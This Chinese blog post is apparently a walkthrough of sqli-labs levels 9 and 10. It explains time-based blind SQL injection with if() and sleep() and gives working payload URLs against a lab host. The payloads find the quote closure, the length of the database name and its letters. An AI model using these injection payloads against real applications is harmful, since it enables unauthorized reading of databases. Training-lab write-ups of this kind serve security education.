前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >延时盲注——sqli-labs第9、10关

延时盲注——sqli-labs第9、10关

作者头像
宸寰客
发布2020-07-30 16:55:24
8970
发布2020-07-30 16:55:24
举报
文章被收录于专栏:yuancao博客yuancao博客

目录

代码语言:txt
复制
- [使用场景](https://cloud.tencent.com/developer/audit/support-plan/10680464#_2)
- [第9关](https://cloud.tencent.com/developer/audit/support-plan/10680464#9_23)
        - [确认场景](https://cloud.tencent.com/developer/audit/support-plan/10680464#_24)
        - [判断闭合符](https://cloud.tencent.com/developer/audit/support-plan/10680464#_32)
        - [找到数据库名的长度](https://cloud.tencent.com/developer/audit/support-plan/10680464#_42)
        - [将数据库名一个字母一个字母爆出来](https://cloud.tencent.com/developer/audit/support-plan/10680464#_51)
        - […………](https://cloud.tencent.com/developer/audit/support-plan/10680464#_64)
- [第10关](https://cloud.tencent.com/developer/audit/support-plan/10680464#10_67)

使用场景

1.对时间函数敏感

2.前端不显示后端报错和查询结果传来的结果,同时也不根据后端传来的结果显示不同的内容。

一些资料说是:

2.后端报错和查询结果不返回到前端,对前端其他任何输入都不返回给前端不同的内容

至于是后端不返回,还是返回了前端不显示,有点搞不懂,希望有大佬看到能帮我扫盲

基本函数:

  1. if(var1,var2,var3) var1:条件 var2:条件为真时返回的值 var3:条件为假时返回的值
  2. sleep(var) 暂停执行var秒,可以为小数

第9关

确认场景

首先确认场景,确定可以适用延时盲注

判断闭合符
  • 构造一个明显会延时的if()语句拼接到条件语句(where)后
  • 再依次尝试添加待确定的闭合符
  • 如果延时,则尝试的闭合符正确 http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(3>2,sleep(3),1)--+

不加引号、加上双引号。都立马刷新,加上单引号后,延迟了3秒才刷新出来。说明闭合符是'单引号

3>2换成要查找的数据,这就是前面几关的布尔盲注了。

找到数据库名的长度
代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(length(database())>7,sleep(3),1)--+

有8位。

将数据库名一个字母一个字母爆出来
代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>114,sleep(3),1)--+
代码语言:javascript
复制
http://172.16.11.222/sqli-labs/Less-9/?id=2' and if(ascii(substr(database(),1,1))>115,sleep(3),1)--+

大于114是正确的,大于115是错误的,说明是115。即为s

…………

后面的就和前几关的布尔盲注差不多了

第10关

同第9关,使用延时盲注

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-07-28 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目录
  • 使用场景
  • 第9关
    • 确认场景
      • 判断闭合符
        • 找到数据库名的长度
          • 将数据库名一个字母一个字母爆出来
            • …………
            • 第10关
            相关产品与服务
            数据库
            云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档